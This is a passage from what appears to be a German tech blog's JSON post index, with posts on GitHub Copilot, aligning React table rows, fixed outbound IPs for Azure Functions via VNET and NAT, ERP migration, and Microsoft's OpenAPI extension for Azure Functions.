steigert.\nEs ist auch spannend zu sehen, dass die Entwicklung an dieser Stelle weitergeht und GitHub mit dem Copilot X bereits die nächste Ausbaustufe in den Startlöchern hat. Unter anderem soll dieses auf GPT 4 basieren und damit noch umfangreichere Vorschläge liefern. Gleichzeitig kann GitHub Copilot X für Code-Optimierungen und Bugfixes verwendet werden. Es bleibt also spannend zu sehen, wie sich das Ganze weiterentwickelt.\nAuf der anderen Seite existieren vermehrt Klagen, die GitHub Copilot eine Verletzung von Copyright und dem Intellectual Property (IP) vorwerfen. Dabei soll der GitHub Copilot und das darunter liegende Modell, welches auf Basis auch von öffentlich zugänglichem Code trainiert wurde, ähnlichen (fast identischen) Code als Vorschlag liefern, ohne entsprechende Verweise auf den ursprünglichen Ersteller zu liefern. Allerdings konnte in keinem bisherigen Fall nachgewiesen werden, dass diese Codegenerierung auf eine bestimmte Quelle zurückzuführen sei. Es bleibt also auch hier spannend zu beobachten, wie sich diese Thematik weiterentwickelt. Dabei bietet GitHub Copilot auch die Möglichkeit vorschläge für Code, welcher öffentlich existiert, zu blockieren (also nicht als Vorschlag für die Codegenerierung verwendet werden soll) und das Training von GitHub Copilot mithilfe des eigenen entwickelten Codes zu unterbinden.\nUnd falls man nach diesem Beitrag direkt selbst mit GitHub Copilot starten möchte, kann direkt mit einem kostenlosen Probemonat beginnen und sich selbst einen Eindruck davon machen. Happy Coding!\n","date":"29. Juni 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/github-copilot_hu9470b48da5392bd8d678323476aa9ade_219971_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/github-copilot_hu9470b48da5392bd8d678323476aa9ade_219971_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/testflug-mit-dem-github-copilot/","tags":[".net","tooling"],"title":"Testflug mit dem GitHub Copilot"},{"categories":["Quick-Tipps"],"contents":"In one of my recent projects, I faced the problem of having to visually align corresponding rows between multiple HTML tables to make them behave as if they were one. These tables contained rows of content to be compared with the corresponding rows at the same index in the other tables. Unfortunately, some of this content could be larger than others, causing the tables to become unaligned at some point. The goal was then to make the tables align dynamically with respect to the larger content as outlined in the two pictures below.\n👆 how it looks how it should look like 👇 After a bit of googling thinking hard I found a relatively simple way to solve it with React using a combination of createRef , useLayoutEffect and clientHeight .\nBasically, the idea is to assign a ref to each row and - inside useLayoutEffect, just before the browser repaints the screen - determine the row with the tallest height between all tables at the same index by examining the clientHeight property. Then, assign this maximum height table-wide to all rows with the same index.\nSo, let\u0026rsquo;s create the refs for the rows in each table,\nconst rows = content =\u0026gt; content.map(data =\u0026gt; ({ data, ref: createRef() })); const tables = [ rows([\u0026#34;content\u0026#34;, \u0026#34;content\u0026#34;, \u0026#34;content\u0026#34;]), rows([\u0026#34;content\u0026#34;, \u0026#34;so much many more large content\u0026#34;, \u0026#34;content\u0026#34;]) ]; link them to their corresponding table row\n{tables.map(table =\u0026gt; ( \u0026lt;table\u0026gt; \u0026lt;tbody\u0026gt; {table.map(row =\u0026gt; ( \u0026lt;tr ref={row.ref}\u0026gt; \u0026lt;td\u0026gt;{row.data}\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; ))} \u0026lt;/tbody\u0026gt; \u0026lt;/table\u0026gt; ))} and find the row with the tallest height between all rows at the same index and adapt for all.\nuseLayoutEffect(() =\u0026gt; { for (const i of Array(rowsCount).keys()) { const max = Math.max( ...tables.map(table =\u0026gt; table[i].ref.current.clientHeight) ); tables.forEach(table =\u0026gt; { table[i].ref.current.style.height = `${max}px` }); } }); You can find the fully working example on CodeSandbox by clicking the button below.\nJust wanted to share this idea with you real quick.\nIn my actual project I extended that code a bit to also handle window resize events and shrinking content and was left with a pretty simple yet stable solution. Hit me up if you want more details on how I did that!\n","date":"19. Juni 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/aligning-rows-between-html-tables_hub5c83fa90ba76ae0b9ae83208fe940ec_457523_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/aligning-rows-between-html-tables_hub5c83fa90ba76ae0b9ae83208fe940ec_457523_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/aligning-rows-between-tables-with-react/","tags":["frontend"],"title":"Aligning rows between tables with React"},{"categories":["How to"],"contents":"Bei der Entwicklung von Cloud-Lösungen ist man heutzutage nicht mehr darauf beschränkt, einzig und allein Cloud-Ressourcen zu verwenden. Das Ansprechen und Einbinden von On-Premises-Ressourcen gehört mittlerweile genauso zur Entwicklung dazu, wie die automatisierte Bereitstellung von Ressourcen via Pipelines. Die On-Premises-Server haben meistens und richtigerweise eine Firewall vorgeschaltet, welche nur bestimmte IP-Adressen und Port-Protokolle zulässt. Nun klingt es erstmal simpel, dass der Cloud-Entwickler eine Liste von IP-Adressen zur Verfügung stellt, welche das Team der Netzwerkverantwortlichen in der Firewall in die Whitelist aufnimmt. Wenn man sich allerdings die möglichen IP-Adressen der Azure-Datencenter anschaut, ist die Liste der möglichen IP-Adressen sehr lang. So wird schnell klar: Man sollte nicht eine Liste von über 30 IP-Adressen in der Firewall freischalten.\nIn diesem Beitrag möchte ich zeigen, wie wir mithilfe von Azure Functions eine festgelegte Outbound-IP-Adresse definieren, mit welcher die Azure Functions \u0026ldquo;nach draußen\u0026rdquo; kommuniziert.\nZielarchitektur Unsere Zielarchitektur beinhaltet eine Azure Function, welche über ein VNET und NAT mithilfe einer definierte öffentliche IP-Adresse nach außen (outbound) kommuniziert. In diesem Beispiel wurde exemplarisch ein On-Premises-Server mit vorgeschalteter Firewall dargestellt.\nAzure Function Outbound-IP-Adressen Zunächst einmal möchten wir einsehen, welche IP-Adressen einer Azure Function überhaupt verwendet werden. Hierbei wird zwischen outboundIpAddresses und possibleOutboundIpAddresses unterschieden. Dabei stehen die outboundIpAddresses für die gerade in Verwendung befindlichen IP-Adressen. Die possibleOutboundIpAddresses beinhalten somit alle möglichen Outbound-IP-Adressen für diese Azure Function. Die outboundIpAddresses bilden demnach eine Untermenge der possibleOutboundIpAddresses. Diese kann man sich über die Azure CLI anzeigen lassen.\nDas heißt, wir melden uns zunächst via Azure CLI an und wählen die entsprechende Subscription für uns aus.\naz login az account set -s \u0026#34;Subscription-GUID\u0026#34; Mit dem folgenden Befehl erhalten wir eine Liste der Untermenge outboundIpAddresses:\naz functionapp show --resource-group \u0026#34;Ressource-Group\u0026#34; --name \u0026#34;Function-Name\u0026#34; --query outboundIpAddresses --output tsv Durch Anpassen des query-Parameter zu possibleOutboundIpAddresses erhalten wir die komplette Liste aller möglichen IP-Adressen:\naz functionapp show --resource-group \u0026#34;Ressource-Group\u0026#34; --name \u0026#34;Function-Name\u0026#34; --query possibleOutboundIpAddresses --output tsv Umsetzen der Zielarchitektur mit Azure CLI In diesem Szenario gehen wir davon aus, dass noch keine Azure-Ressourcen bereitgestellt wurden und somit alle Ressourcen from scratch erstellt werden sollen.\nErstellen der Netzwerkressourcen Zunächst müssen alle notwendigen Netzwerkressourcen, wie das VNET, einer Public-IP und einem NAT erzeugt werden.\nBeginnen wir mit dem VNET, welches wir in West-Europa und mit dem Standard-Adress-Prefix 10.0.0.0/16 bereitstellen möchten:\naz network vnet create --resource-group \u0026#34;MyRessourceGroup\u0026#34; --name \u0026#34;vnet-okblog-euwest\u0026#34; --location westeurope --address-prefix 10.0.0.0/16 Anschließend erstellen wir ein Subnet, welches dem bestehenden VNET zugeordnet wird:\naz network vnet subnet create --name \u0026#34;snet-okblog-euwest-prod\u0026#34; --resource-group \u0026#34;MyRessourceGroup\u0026#34; --vnet-name \u0026#34;vnet-okblog-euwest\u0026#34; --address-prefixes 10.0.0.0/29 --delegations \u0026#39;Microsoft.Web/serverFarms\u0026#39; Nun erstellen wir eine Public-IP-Adresse, welche später unsere Outbound-IP-Adresse für die Requests der Azure Function verwendet:\naz network public-ip create --name \u0026#34;pip-func-okblog-euwest-prod\u0026#34; --resource-group \u0026#34;MyRessourceGroup\u0026#34; --version \u0026#34;IPv4\u0026#34; --tier \u0026#34;Regional\u0026#34; --sku \u0026#34;Standard\u0026#34; --location westeurope Als letzte Netzwerkressource wird das NAT erstellt, welche unsere zuvor erstellte öffentliche IP-Adresse als public-ip-addresses zugewiesen hat:\naz network nat gateway create --name \u0026#34;nat-func-okblog-euwest-prod\u0026#34; --resource-group \u0026#34;MyRessourceGroup\u0026#34; --location westeurope --public-ip-addresses \u0026#34;pip-func-okblog-euwest-prod\u0026#34; Durch ein Update des Subnets mit dem entsprechenden NAT-Gateway ist die Konfiguration der Netzwerkressourcen abgeschlossen:\naz network vnet subnet update --resource-group \u0026#34;MyRessourceGroup\u0026#34;--vnet-name \u0026#34;vnet-okblog-euwest\u0026#34; --name \u0026#34;snet-okblog-euwest-prod\u0026#34; --nat-gateway \u0026#34;nat-func-okblog-euwest-prod\u0026#34; Azure Function Azure Functions können VNETs nur in einem Serviceplan verwenden (also kein Consumption-Plan). Hierzu wird zunächst ein App-Serviceplan benötigt, welchen wir in westeurope im Standardplan S1 erstellen:\n$appServicePlanId = az appservice plan create --resource-group \u0026#34;MyRessourceGroup\u0026#34; --name \u0026#34;MyAppServicPlanName\u0026#34; --location westeurope --sku S1 Die Service-Plan-ID können wir nun verwenden, um die zugehörige Azure Function zu erstellen:\naz functionapp create --resource-group \u0026#34;MyRessourceGroup\u0026#34; --plan ($appServicePlanId | convertfrom-json).id --name \u0026#34;MyFunctionName\u0026#34; --storage-account \u0026#34;MyStorageAccountName\u0026#34; --functions-version 4 --runtime dotnet --os Windows Nun muss nur noch die entsprechende vnet-integration zur Function-App hinzugefügt werden:\n$myExistingVnet = az network vnet list --resource-group \u0026#34;MyRessourceGroup\u0026#34; --query \u0026#34;[?name==\u0026#39;vnet-okblog-euwest\u0026#39;]\u0026#34; | convertfrom-json az functionapp vnet-integration add --resource-group \u0026#34;MyRessourceGroup\u0026#34; --name \u0026#34;MyFunctionName\u0026#34; --vnet $myExistingVnet.id --subnet \u0026#34;snet-okblog-euwest-prod\u0026#34; Testen der Netzwerkfunktionalität Um zu prüfen, ob das Erzeugen der Ressourcen und die Konfiguration derselben funktioniert hat und wir nun nur noch eine Outbound-IP-Adresse der Azure Function zur Folge haben, können wir eine Hilfsfunktion in dem Functions-Projekt hinzufügen. Diese Hilfsfunktion ruft intern die Adresse https://ifconfig.me auf. Die Antwort beinhaltet die IP-Adresse, über welche ein Request ausgeführt wurde - also der Outbound-IP-Adresse. Natürlich muss die Function zunächst in Azure deployed sein, damit man die zuvor erstellte öffentliche IP-Adresse als Antwort der Function erhält.\nusing Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.Extensions.Logging; using System.Net.Http; using System.Threading.Tasks; namespace Application.Functions.Todo { public static class IfConfigFunction { [FunctionName(\u0026#34;IfConfig\u0026#34;)] public static async Task\u0026lt;IActionResult\u0026gt; Run( [HttpTrigger(AuthorizationLevel.Function, \u0026#34;get\u0026#34;, Route = \u0026#34;ifconfig\u0026#34;)] HttpRequest req, ILogger log) { var client = new HttpClient(); var response = await client.GetAsync(@\u0026#34;https://ifconfig.me\u0026#34;); var responseMessage = await response.Content.ReadAsStringAsync(); return new OkObjectResult(responseMessage); } } } Zusammenfassung In diesem Blog-Beitrag konnte ich einen Überblick geben, wie man zum einen die verfügbaren Outbound-IP-Adressen verwaltet (outboundIpAddresses und possibleOutboundIpAddresses) und zu anderen wie man die Outbound-IP-Adressen auf eine einzige reduzieren kann. Somit muss der Netzwerkadministrator nicht mehr eine sehr große Liste von IP-Adressen als Ausnahme in der Firewall freischalten, sondern kann ganz gezielt auf die zuvor definierte IP-Adresse festlegen. Mit der Hilfs-Function kann man als Entwickler zum Ende der Erzeugung der Netzwerkressourcen prüfen, ob alles ordnungsgemäß funktioniert.\n","date":"24. Mai 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/azure-functions-outbound-ip_hu7ac698689c5eb9f1076b35d51b6511ce_214463_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/azure-functions-outbound-ip_hu7ac698689c5eb9f1076b35d51b6511ce_214463_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/feste-outbound-ip-adressen-mit-azure-functions/","tags":["backend",".net","azure"],"title":"Feste Outbound-IP-Adressen mit Azure Functions"},{"categories":["How To"],"contents":"Für viele Entscheider ist es eine Horrorvorstellung: Das jahrelang gewachsene und angepasste ERP-System soll ersetzt werden. Undenkbar, geradezu unmöglich. Die bereits getätigten Investitionen in Anpassungen, all die angebundenen Systeme, von der Lageranwendung bis zum Webshop!\nMigrationskonzept ERP Gründe für die ERP-Migration Die Gründe können vielfältig sein, von anstehenden Fusionen bzw. Übernahmen bis hin zu auslaufendem Herstellersupport, wie beispielsweise für MS Dynamics AX. Häufig sind es auch Compliance- und IT-Sicherheitsgründe, weil die technische Basis nicht mehr sicher betrieben werden kann.\nEin solches Projekt hat oft von Beginn an einen negativen Beigeschmack. Es ist teuer, langwierig und das alte System funktioniert ja noch irgendwie. Warum also nicht noch ein Jahr warten?\nAuf die alten Zeiten So nutzen viele unserer Kunden zum Beispiel Dynamics 2012 R3, SAP R/3 oder sogar Eigenentwicklungen. Diese haben sich im Tagesgeschäft dahingehend etabliert, dass ein Großteil der unternehmensspezifischen Prozesse abgebildet werden kann – bis auf „ein paar Ausnahmen“. Fast immer gibt es aber auch die Gemeinheiten des Alltags. Diese zwei, drei Sonderfälle, die eigentlich zwei-, dreihundert oder noch mehr Sonderfälle sind. Fühlen Sie sich ertappt?\nAlte ERP-Systeme und historisch gewachsene Sonderprozesse Da sind die Stammdaten, die größtenteils stimmen, aber auch die Informationen, die nicht sinnvoll im System hinterlegt werden können. Für diese hat sich ein unsauberer, still akzeptierter Kompromiss eingebürgert. Die vollständigen Kundendaten, die in der Realität zu 30% aus Kartei-Leichen bestehen. Oder die Schnittstellen zu anderen Systemen, die nur mit Müh und Not in Betrieb gehalten werden können, weil sich die Zielsysteme weiterentwickelt haben oder durch bessere Komponenten ersetzt wurden. Speziell bei Eigenentwicklungen werden wir als Beratungs- und Entwicklungsdienstleister oft mit dem Problem konfrontiert, dass sämtliches Know-how auf einen sehr kleinen Personenkreis oder gar eine Einzelperson konzentriert ist.\nBeispiel Dynamics AX 2012: Supportende seit Januar 2023 Am Beispiel Dynamics AX 2012 betrachtet: Natürlich gab es Updates und Anpassungen, aber die Kernanwendung kam vor über einem Jahrzehnt im September 2011 auf den Markt. Über eine Dekade ist besonders in der IT eine lange Zeit. In dieser Zeit hat sich, vermutlich auch in Ihrem Unternehmen, viel getan. Vermutlich wird am On-Premise-System Dynamics AX 2012 immer mehr Aufwand betrieben, um es an die Aufgaben und Herausforderungen der Zeit anzupassen.\nIrgendwann ist es an der Zeit, das System zu wechseln.\nHerausforderungen bei der ERP-Migration Früher oder später wird jeder, der sich mit dem Thema ERP-Projekt auseinandersetzt auf geradezu niederschmetternde Berichte stoßen. Namhafte Konzerne beliebiger Größe scheinen Projekte geradezu regelmäßig an die Wand zu fahren. Die folgenden Gründe wiederholen sich oft, zum Beispiel:\nGestiegene Komplexität Entfernung vom Standard, entgegen aller Vorsätze Mangelnde Mitarbeit im Unternehmen bzw. Blockadehaltung Budgetüberschreitungen bei Anpassungen Ausufernde Betriebskosten Pannen bei der Produktivsetzung etc. Nun, die Herausforderungen eines großen Softwareprojektes lassen sich nicht wegdiskutieren. Herangehensweise und Mentalität haben aber entscheidenden Einfluss auf ein Projekt und dessen Chancen auf Erfolg.\nMit den Herausforderungen wird man früher oder später konfrontiert.\nSo gehen Sie vor! Mit den insgesamt 9 Schritten in unserer 6-seitigen Checkliste haben Sie alles im Blick für die erfolgreiche ERP-System-Einführung. ERP-Anpassungen gestern und heute Betrachten wir das Beispiel eines altgedienten Systems auf Basis von Dynamics 2012 R3. Typischerweise wurden dort eigene Entitäten erstellt oder zumindest Felder ergänzt. Bei vielen unserer Kunden finden sich auch eigene Codeklassen für die Erweiterung der Business-Logik. Das Problem eines solchen Systems: Die Weiterentwicklung ist nur selten innerhalb bestimmter Standards erfolgt. Manchmal finden sich auch Anpassungen, die dem System die Upgrade-Fähigkeit nehmen.\nIn der neuen Welt sprechen wir von Standardanwendungen aus der Cloud und modernen, reaktionsschnellen Schnittstellen statt von hochgradig spezialisiert angepassten Altanwendungen mit einer Armada von Batch-Jobs für den nächtlichen Import und Export von Informationen. Auch die Anpassung solcher Systeme ist eine andere. In Dynamics 365 Supply Chain Management als Nachfolger von AX sind Updates verpflichtend und können nicht beliebig aufgeschoben werden. Daher gilt die Vorgabe, das System an sich nicht zu modifizieren, sondern es lediglich um benötigte Bestandteile zu erweitern.\nEs wird nicht mehr geändert, nur erweitert und integriert.\nWir implementieren, modernisieren und erweitern Cloud-ERP-Systeme für den Mittelstand und Großunternehmen – schnell, skalierbar, maßgeschneidert und in höchster Qualität. Kostenloses Erstgespräch Kann das ERP-System zu wenig oder können wir zu viel? Mit dem genannten Entwicklungsparadigma \u0026ldquo;Erweiterung statt Änderung\u0026rdquo; muss man auch die Herangehensweise ändern. Es war ohnehin nie richtig, Prozesse einfach so zu übernehmen und die Software anzupassen. Stattdessen ist es zielführend, sich den Standardprozess der Software anzusehen und diesen zu adaptieren. Natürlich gibt es Fälle, in denen das nicht funktioniert. Aber dazu zählt nicht, wenn man nur die Reihenfolge von Teilschritten oder diese selbst ändern bzw. anpassen müsste.\nUnd genau in dieser Denke liegt ein Schlüssel zum Erfolg. Erinnern Sie sich nur einmal daran, warum viele Projekte scheitern: Entfernung vom Standard, mehr Komplexität, aus dem Ruder laufende Kosten. Diesen Problematiken wird konstruktiv begegnet, wenn man das System nur dort verändert oder optimiert, wo es nicht anders geht.\nSinnvolle eigene Standards halten auch einer kritischen Hinterfragung stand. Die Übrigen gilt es zu überdenken.\nEine ERP-Migration braucht die richtige Perspektive Erzählen Sie doch einmal einem Lagerarbeiter, dass der Wechsel des Systems die Prozesse entlang der Lieferkette effizienter macht und die fixen IT-Betriebskosten um voraussichtlich 15% senkt. Vielleicht zeigt er Ihnen nicht direkt den Vogel, aber zumindest gedanklich haben Sie ihn vermutlich schneller verloren, als er mit seinem Gabelstapler weg ist.\nStellen Sie sich stattdessen einmal vor: Sie als Lagerarbeiter bekommen Besuch von einem Berater. Sie zeigen ihm Ihre tägliche Arbeit. Er versteht diese, kennt nicht nur Begrifflichkeiten, sondern auch typische Probleme. Zum Ende hat der Berater verstanden, was Ihnen tagtäglich auf die Nerven geht, Sie in Ihrer Arbeit bremst oder diese fehleranfällig macht. Vielleicht hat er auch direkt Ideen, die zu einer unmittelbaren Verbesserung beitragen würden.\nLässt sich der Mitarbeitende aus dem ersten Beispiel mental auf die Systemumstellung ein oder doch eher derjenige aus dem zweiten Beispiel?\nDas neue ERP-System ist nicht für die IT, sondern für die Mitarbeitenden, die es tagtäglich verwenden.\nIT-Strategie und Unternehmensansatz Und damit sind wir beim eigentlichen Thema angelangt: Die Einführung eines neuen ERP-Systems kann und sollte als Chance interpretiert werden, nicht als Verpflichtung, und zwar auf jeder Ebene des Unternehmens. Diese Interpretation sollte die Basis der IT-Strategie sein. Natürlich lassen sich die bekannten Risiken eines solchen IT-Projekts nicht einfach abstellen. Aber man kann sie durch verschiedene Faktoren maßgeblich beeinflussen.\nNeben einer starken und kompetenten Projektführung sowohl auf Unternehmens- als auch auf Dienstleister-Seite braucht es den richtigen Dienstleister selbst. Er muss zu Ihrem Unternehmen passen. Ein enger, vertrauensvoller Austausch ist eine wichtige Komponente eines erfolgreichen Projekts. Unternehmensintern müssen genügend Ressourcen verfügbar sein. Diejenigen Mitarbeitenden, die das System später einsetzen werden, müssen von Beginn an aktiv und mitgestaltend eingebunden werden.\nEine vollständige Migrations- sowie eine Teststrategie sind weitere wichtige Teile im Puzzle \u0026ldquo;ERP-Projekt\u0026rdquo;.\nWir sind Microsoft-Partner und unterstützen Unternehmen von der Vorbereitung, Konzeption und Planung über die Entwicklung bis zum erfolgreichen Go-Live und Betrieb von ERP-Projekten. Noch unsicher? Wir beraten Sie gern. Kostenloses Erstgespräch ","date":"8. Mai 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/erp-umstellung_huab34cf3123a7e3c5661e1ae17117ea17_271409_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/erp-umstellung_huab34cf3123a7e3c5661e1ae17117ea17_271409_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/warum-das-erp-migrieren-umstellung-als-chance/","tags":["erp","dynamics-365"],"title":"Warum das ERP migrieren? Umstellung als Chance"},{"categories":["How to"],"contents":"Microsoft hat mit dem ersten Majorrelease im November 2021 der Extension für OpenAPI-Definition in Azure Functions endlich eine eigene Lösung veröffentlicht. Vor mittlerweile zwei Jahren hatte ich eine Serie zur Erstellung von Web APIs mit Azure Functions hier bei uns auf dem OKBlog geschrieben. Für die Neulinge: Hier gehts nochmal zum ersten Teil der Serie .\nIn der damaligen Implementierung wurde .NET Core 3.1 als technische Basis und einem Drittanbieter-Package für die Erzeugung der OpenAPI-Spezifikation verwendet. Währenddessen wurde .NET 6 (LTS) und sogar .NET 7 released. Wenn du nochmal durchlesen möchtest, wie die OpenAPI-Spezifikation mit .NET Core 3.1 und Swashbuckle umgesetzt wurde, gehts hier entlang .\nBereits im damaligen Beitrag hatte ich erwähnt, dass Microsoft an einer eigenen Lösung zur Implementierung der OpenAPI-Spezifikation arbeitete. In diesem Beitrag möchte ich nochmal das Beispiel-GitHub-Repo verwenden, um aufzuzeigen, welche Anpassungen notwendig sind, um auf die von Microsoft bereitgestellte Lösung umzustellen.\nRevisit Web APIs mit Azure Functions: Swagger UI (Teil 4) Wie erwähnt, gab es seit der initialen Erstellung des Beispiel-Repos einige Neuerungen. Hieraus ergeben sich im Wesentlichen die folgenden:\nUpgrade von .NET Core 3.1 auf .NET 6 Update/Upgrade der Nuget-Packages Ausbau von Swashbuckle aus der Solution Einbau der OpenAPI-Extension von Microsoft Im Blogbeitrag werde ich insbesondere auf die Unterschiede zu Swashbuckle und die notwendigen Anpassungen eingehen, um die OpenAPI-Spezifikation der APIs mit Microsofts Extension zu realisieren.\nProjektanpassung Um die die Microsoft Extension nutzen zu können, muss das Nuget dem Function-Projekt zunächst hinzugefügt werden:\n\u0026lt;PackageReference Include=\u0026#34;Microsoft.Azure.WebJobs.Extensions.OpenApi\u0026#34; Version=\u0026#34;1.x.x\u0026#34; /\u0026gt; Die entsprechenden Swashbuckle-Nuget-Verweise müssen natürlich entfernt werden. Dazu gehört auch die im Projekt befindliche Klasse SwaggerController.cs, welche primär für die Erzeugung der OpenAPI-Spezifikation als JSON und dem Rendern von Swagger diente.\nIn der Klasse Startup.cs sollte das Laden der Swashbuckle Dependency (AddSwashBuckle) ebenfalls entfernt werden. Für Microsofts Lösung wird kein explizites Laden der Dependency benötigt. Falls man allerdings die Swagger-Dokumentation anpassen möchte, wie z.B. den Titel, die Beschreibung, den Kontakt oder die Lizenzbestimmung, so kann dies über eine separate Klasse definiert werden.\nDiese könnte zum Beispiel so aussehen:\nusing Microsoft.Azure.WebJobs.Extensions.OpenApi.Core.Configurations; using Microsoft.Azure.WebJobs.Extensions.OpenApi.Core.Enums; using Microsoft.OpenApi.Models; using System; namespace Application.Functions { public class MyOkBlogOpenApiConfigurationOptions : DefaultOpenApiConfigurationOptions { public override OpenApiInfo Info { get; set; } = new OpenApiInfo() { Version = GetOpenApiDocVersion(), Title = \u0026#34;OKBlog ToDo-Functions\u0026#34;, Description = \u0026#34;Das ist eine Beschreibung für meine OKBlog ToDo-Function-App\u0026#34;, TermsOfService = new Uri(\u0026#34;https://blog.objektkultur.de\u0026#34;), Contact = new OpenApiContact() { Name = \u0026#34;Objektkultur\u0026#34;, Email = \u0026#34;kontakt@objektkultur.de\u0026#34;, Url = new Uri(\u0026#34;https://objektkultur.de\u0026#34;), }, License = new OpenApiLicense() { Name = \u0026#34;MIT\u0026#34;, Url = new Uri(\u0026#34;http://opensource.org/licenses/MIT\u0026#34;), } }; public override OpenApiVersionType OpenApiVersion { get; set; } = GetOpenApiVersion(); } } Dabei muss die Datei auch nicht separat in der Startup-Klasse eingebunden werden. Alles funktioniert automatisch.\nOpenAPI-Spezifikation mit Microsofts Extension Nachdem nun alle Swashbuckle-Verweise entfernt und mit Microsofts OpenAPI Extension ersetzt wurden, schauen wir uns einmal an, wie man nun die OpenAPI-Spezifikation für die Functions definiert.\nUm einen besseren Überblick zu erhalten, schauen wir uns nun im folgenden die Attributierung der OpenAPI-Spezifikation für die Function StoreTodoItemCommandFunction an.\n// omitted usings [FunctionName(\u0026#34;StoreTodoItemCommandFunction\u0026#34;)] [OpenApiOperation(operationId: \u0026#34;todo\u0026#34;, tags: new[] { \u0026#34;todo\u0026#34; }, Summary = \u0026#34;StoreTodoItem\u0026#34;, Description = \u0026#34;Save a new ToDo-Item\u0026#34;, Visibility = OpenApiVisibilityType.Important)] [OpenApiSecurity(\u0026#34;function_key\u0026#34;, SecuritySchemeType.ApiKey, Name = \u0026#34;code\u0026#34;, In = OpenApiSecurityLocationType.Query)] [OpenApiRequestBody(contentType: \u0026#34;application/json\u0026#34;, typeof(StoreTodoItemCommand))] [OpenApiParameter(name: \u0026#34;x-my-custom-header\u0026#34;, In = ParameterLocation.Header, Required = true, Type = typeof(string))] [OpenApiResponseWithBody(statusCode: HttpStatusCode.OK, contentType: \u0026#34;application/json\u0026#34;, bodyType: typeof(TodoItem), Description = nameof(HttpStatusCode.OK))] [OpenApiResponseWithoutBody(statusCode: HttpStatusCode.NotFound, Description = nameof(HttpStatusCode.NotFound))] [OpenApiResponseWithoutBody(statusCode: HttpStatusCode.Unauthorized, Description = nameof(HttpStatusCode.Unauthorized))] public static async Task\u0026lt;IActionResult\u0026gt; Run([HttpTrigger(AuthorizationLevel.Function, \u0026#34;post\u0026#34;, Route = \u0026#34;Todo\u0026#34;)] HttpRequest req, ILogger log) { // omitted C# Code } Hierbei fallen insgesamt zwei Hauptunterschiede zur Umsetzung mit Swashbuckle auf (nächstes Listing). Zum einen ist das Namensschema bei Microsofts OpenAPI-Lösung einheitlich (OpenApi als Prefix für die Attribute), zum anderen müssen bei Swashbuckle die Angabe von Requestbodies innerhalb der Run-Parameter der Function-Methode eingefügt werden, was die Leserlichkeit stört und eine nachträgliche Pflege erschwert.\n// omitted usings [FunctionName(\u0026#34;StoreTodoItemCommandFunction\u0026#34;)] [ApiExplorerSettings(GroupName = \u0026#34;todo\u0026#34;)] [ProducesResponseType(typeof(StoreTodoItemCommand), (int)HttpStatusCode.OK)] [ProducesResponseType((int)HttpStatusCode.BadRequest)] public static async Task\u0026lt;IActionResult\u0026gt; Run([HttpTrigger(AuthorizationLevel.Function, \u0026#34;post\u0026#34;, Route = \u0026#34;Todo\u0026#34;)] HttpRequest req, [RequestBodyType(typeof(StoreTodoItemCommand), \u0026#34;StoreTodoItemCommand Request-Body\u0026#34;)], ILogger log) { // omitted C# Code } Sicherlich ist der Vergleich nicht ganz fair, werden Attribute bei der Swashbuckle Implementierung erst gar nicht verwendet (z.B. ResponseBody etc.), doch kann man anhand des Beispiels schnell erkennen, dass die Attributierung mit Microsofts Lösung sowohl inhaltlich umfangreicher, als auch leichter zu pflegen ist. Aufgrund der einheitlichen Namensgebung kann der Entwickler direkt sehen, welche Attribute zur OpenAPI-Spezifikation gehören.\nSwagger Beim Ausführen der Function fällt sofort auf, dass insgesamt vier Swagger-APIs bereitgestellt werden:\nNach Aufruf der Swagger-UI erscheinen alle definierten APIs aufgelistet. Zusätzlich erhält man hier auch die Möglichkeit, alle Endpunkte zu autorisieren (via \u0026ldquo;Authorize\u0026rdquo;).\nDie APIs beinhalten sämtliche Informationen, welche vorher via Attributierung an den Functions dekoriert worden sind. Hierzu gehört z.B. der body, welcher an die API gesendet wird, oder die Beschreibung der API im Allgemeinen.\nFazit Die Extension von Microsoft beweist, dass die Nutzung und Integration in bestehende Projekte sehr gut gelingt. Hierdurch können Abhängigkeiten zu Drittanbieter-Packages reduziert werden. In der Vergangenheit musste ich leider öfter feststellen, dass aufgrund von Swashbuckle-Abhängigkeiten zu anderen Paketen wie z.B. System.Text.Json bestand und wir somit nur mit bestimmten Versionen arbeiten konnten und einige Features dadurch verwehrt blieben.\nWenn man also auf .NET 6/7 upgraden möchte, kann man diesen 